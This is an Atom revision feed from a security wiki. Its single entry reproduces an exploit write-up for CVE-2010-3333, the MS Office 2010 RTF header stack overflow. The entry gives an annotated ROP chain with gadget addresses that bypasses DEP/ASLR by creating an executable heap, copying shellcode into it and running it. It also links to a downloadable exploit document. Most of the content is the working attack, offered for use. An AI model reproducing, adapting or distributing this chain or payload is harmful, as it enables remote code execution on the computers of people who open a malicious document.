<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2010-3333_MS_Office_2010_RTF_Header%E5%A0%86%E6%A3%A7%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2010-3333 MS Office 2010 RTF Header堆棧溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2010-3333_MS_Office_2010_RTF_Header%E5%A0%86%E6%A3%A7%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2010-3333_MS_Office_2010_RTF_Header%E5%A0%86%E6%A3%A7%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T08:24:38Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2010-3333_MS_Office_2010_RTF_Header%E5%A0%86%E6%A3%A7%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=695&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: MS Office 2010 RTF Header Stack Overflow Vulnerability Exploit # Date: 7/3/2011 # Author: Snake ( Shahriyar.j &lt; at &gt; gmail ) # Version: MS Offic...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2010-3333_MS_Office_2010_RTF_Header%E5%A0%86%E6%A3%A7%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=695&amp;oldid=prev"/>
		<updated>2021-03-27T03:04:43Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: MS Office 2010 RTF Header Stack Overflow Vulnerability Exploit # Date: 7/3/2011 # Author: Snake ( Shahriyar.j &amp;lt; at &amp;gt; gmail ) # Version: MS Offic...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: MS Office 2010 RTF Header Stack Overflow Vulnerability&lt;br /&gt;
Exploit&lt;br /&gt;
# Date: 7/3/2011&lt;br /&gt;
# Author: Snake ( Shahriyar.j &amp;lt; at &amp;gt; gmail )&lt;br /&gt;
# Version: MS Office &amp;lt;= 2010&lt;br /&gt;
# Tested on: MS Office 2010 ( 14.0.4734.1000) - Windows 7&lt;br /&gt;
# CVE : CVE-2010-3333&lt;br /&gt;
&lt;br /&gt;
# This is the exploit I wrote for Abysssec &amp;quot;The Arashi&amp;quot; article.&lt;br /&gt;
# It gracefully bypass DEP/ASLR in MS Office 2010,&lt;br /&gt;
# and we named this method &amp;quot;Ikazuchi DEP/ASRL Bypass&amp;quot; : &amp;gt;&lt;br /&gt;
# unfortunately msgr3en.dll loads a few seconds after opining office,&lt;br /&gt;
# so just need to open open Office , and then open exploit after a few&lt;br /&gt;
second and saw a nice calc.&lt;br /&gt;
#&lt;br /&gt;
# The Arashi : http://abysssec.com/files/The_Arashi.pdf&lt;br /&gt;
               http://www.exploit-db.com/download_pdf/17469&lt;br /&gt;
&lt;br /&gt;
# me : twitter.com/ponez&lt;br /&gt;
# aslo check here for Persian docs of this methods and more :&lt;br /&gt;
http://www.0days.ir/article/&lt;br /&gt;
&lt;br /&gt;
Exploit:  http://www.exploit-db.com/sploits/cve-2011-3333_exploit.doc&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
# and the Rop :&lt;br /&gt;
&lt;br /&gt;
3F2CB9E0    POP ECX&lt;br /&gt;
            RETN&lt;br /&gt;
        # HeapCreate() IAT = 3F10115C&lt;br /&gt;
&lt;br /&gt;
3F389CA5    MOV EAX,DWORD PTR DS:[ECX]&lt;br /&gt;
            RETN&lt;br /&gt;
        # EAX == HeapCreate() Address&lt;br /&gt;
&lt;br /&gt;
3F39AFCF    CALL EAX&lt;br /&gt;
            RETN&lt;br /&gt;
        # Call HeapCreate() and Create a Executable Heap :D&lt;br /&gt;
        # after this call, EAX contain our Heap Address.&lt;br /&gt;
&lt;br /&gt;
0x3F2CB9E0    POP ECX&lt;br /&gt;
        RETN&lt;br /&gt;
        # pop 0x00008000 into ECX&lt;br /&gt;
&lt;br /&gt;
0x3F39CB46    ADD EAX,ECX&lt;br /&gt;
        POP ESI&lt;br /&gt;
        RETN&lt;br /&gt;
        # add ECX to EAX and instead of calling HeapAlloc,&lt;br /&gt;
        # now EAX point to the RWX Heap :D&lt;br /&gt;
&lt;br /&gt;
0x3F2CB9E0     POP ECX&lt;br /&gt;
        RETN&lt;br /&gt;
        # pop 0x3F3B3DC0 into ECX, it is a writable address.&lt;br /&gt;
&lt;br /&gt;
0x3F2233CC     MOV DWORD PTR DS:[ECX],EAX&lt;br /&gt;
        RETN&lt;br /&gt;
        # storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for&lt;br /&gt;
further use ;)&lt;br /&gt;
&lt;br /&gt;
0x3F2D59DF     POP EAX&lt;br /&gt;
        ADD DWORD PTR DS:[EAX],ESP&lt;br /&gt;
        RETN&lt;br /&gt;
        # pop 0x3F3B3DC4 into EAX , it is writable address with zero!&lt;br /&gt;
        # then we add ESP to the Zero which result in storing ESP into&lt;br /&gt;
that address,&lt;br /&gt;
        # we need ESP address for copying shellcode ( which stores in&lt;br /&gt;
Stack ),&lt;br /&gt;
        # and we have to get it dynamically at run-time, now with my&lt;br /&gt;
tricky instruction, we have it!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
0x3F2F18CC    POP EAX&lt;br /&gt;
        RETN&lt;br /&gt;
        # pop 0x3F3B3DC4 ( ESP address ) into EAX&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
0x3F2B745E     MOV ECX,DWORD PTR DS:[EAX]&lt;br /&gt;
        RETN&lt;br /&gt;
        # now ECX point to nearly offset of Stack.&lt;br /&gt;
&lt;br /&gt;
0x3F39795E    POP EDX&lt;br /&gt;
        RETN&lt;br /&gt;
        # pop 0x00000024 into EDX&lt;br /&gt;
&lt;br /&gt;
0x3F39CB44    ADD ECX,EDX&lt;br /&gt;
        ADD EAX,ECX&lt;br /&gt;
        POP ESI&lt;br /&gt;
        RETN&lt;br /&gt;
        # add 0x24 to ECX ( Stack address )&lt;br /&gt;
&lt;br /&gt;
0x3F398267     MOV EAX,ECX&lt;br /&gt;
        RETN&lt;br /&gt;
        # EAX = ECX ; )&lt;br /&gt;
&lt;br /&gt;
0x3F3A16DE    MOV DWORD PTR DS:[ECX],EAX&lt;br /&gt;
        XOR EAX,EAX&lt;br /&gt;
        POP ESI&lt;br /&gt;
        RETN&lt;br /&gt;
        # mov EAX ( Stack Address + 24 = Current ESP value ) into the&lt;br /&gt;
current Stack Location,&lt;br /&gt;
        # and the popping it into ESI ! now ESI point where shellcode&lt;br /&gt;
stores in stack :D&lt;br /&gt;
&lt;br /&gt;
0x3F398267     MOV EAX,ECX&lt;br /&gt;
        RETN&lt;br /&gt;
        # EAX = ECX ; )&lt;br /&gt;
&lt;br /&gt;
3F2CB9E0    POP ECX&lt;br /&gt;
        RETN&lt;br /&gt;
        # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX&lt;br /&gt;
&lt;br /&gt;
0x3F389CA5     MOV EAX,DWORD PTR DS:[ECX]&lt;br /&gt;
        RETN&lt;br /&gt;
        # now EAX point to our RWX Heap&lt;br /&gt;
&lt;br /&gt;
0x3F2B0A7C     XCHG EAX,EDI&lt;br /&gt;
        RETN 4&lt;br /&gt;
        # EDI = Our RWX Heap Address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3F2CB9E0    POP ECX&lt;br /&gt;
        RETN&lt;br /&gt;
        # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
0x3F389CA5     MOV EAX,DWORD PTR DS:[ECX]&lt;br /&gt;
        RETN&lt;br /&gt;
        # now EAX point to our RWX Heap&lt;br /&gt;
&lt;br /&gt;
0x3F38BEFB     ADD AL,58&lt;br /&gt;
        RETN&lt;br /&gt;
        # just skip some junks ; )&lt;br /&gt;
&lt;br /&gt;
3F2CB9E0    POP ECX&lt;br /&gt;
        RETN&lt;br /&gt;
        # pop 0x00000080 into ECX ( 0x80 * 4 = 0x200 = Copy lent )&lt;br /&gt;
&lt;br /&gt;
3F3441B4    REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]&lt;br /&gt;
        POP EDI&lt;br /&gt;
        POP ESI&lt;br /&gt;
        RETN&lt;br /&gt;
        # Copy shellcode from stack into RWX Heap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3F39AFCF     CALL EAX&lt;br /&gt;
        RETN&lt;br /&gt;
        # KABOOM !!!&lt;br /&gt;
&lt;br /&gt;
Exploit:  http://www.exploit-db.com/sploits/cve-2011-3333_exploit.doc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>